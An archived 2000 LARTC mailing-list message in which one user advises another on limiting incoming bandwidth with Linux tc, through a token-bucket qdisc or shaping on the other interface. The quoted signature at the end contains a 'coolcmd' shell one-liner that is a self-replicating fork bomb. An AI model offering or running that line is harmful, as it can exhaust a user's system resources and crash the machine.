From mboxrd@z Thu Jan 1 00:00:00 1970 From: Daniel Bergqvist daniel@netatonce.se Date: Thu, 23 Nov 2000 09:12:29 +0000 Subject: SV: [LARTC] Bandwidth limiting Message-Id: List-Id: References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable To: lartc@vger.kernel.org 
To limit incomming traffic you either limit the traffic when it goes o=
ut on
another interface, or you use the ingress qdisc. I suggest that you try the
first.

Assume you have a router with two interfaces, eth0 and eth1, when you may
limit incomming traffic on eth0 by limit outgoing traffic on eth1.

Regards,
Daniel

-----Ursprungligt meddelande-----
Fr=E5n: Thomas Habets [mailto:thomas=
@habets.pp.se]
Skickat: Thursday, November 23, 2000 12:35 AM
Till: Daniel Bergqvist; lartc@mail=
man.ds9a.nl
=C4mne: Re: [LARTC] Bandwidth limiting

On Wed, 22 Nov 2000, Daniel Bergqvist wrote:
> tc qdisc add dev eth1 root tbf rate 10kbit buffer 5kb/8 limit 10kb

It works perfectly, thank you very much.

> This adds an token bucket flow qdisc to eth1 and limits traffic to
> 10kbit/s. Note: It only limits outgoing traffic, not incomming =
traffic.

Hmm... and how do I set it up to limit incomming?
Since the interface behind the gateway has just one C-class net I assume
it's
pretty easy, but not for me. :(

---------
typedef struct me_s {
  char name[]      =3D { "Thomas Habets" };
  char email[]     =3D { "thoma=
s@habets.pp.se" };
  char kernel[]    =3D { "Linux 2.2" };
  char *pgpKey[]   =3D { "finger -m thompa@darkface.pp.se" };
  char pgpfinger[] =3D { "6517 2898 6AED EA2C 1015  DCF0 8E53 B69F 524B
B541" };
  char coolcmd[]   =3D { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;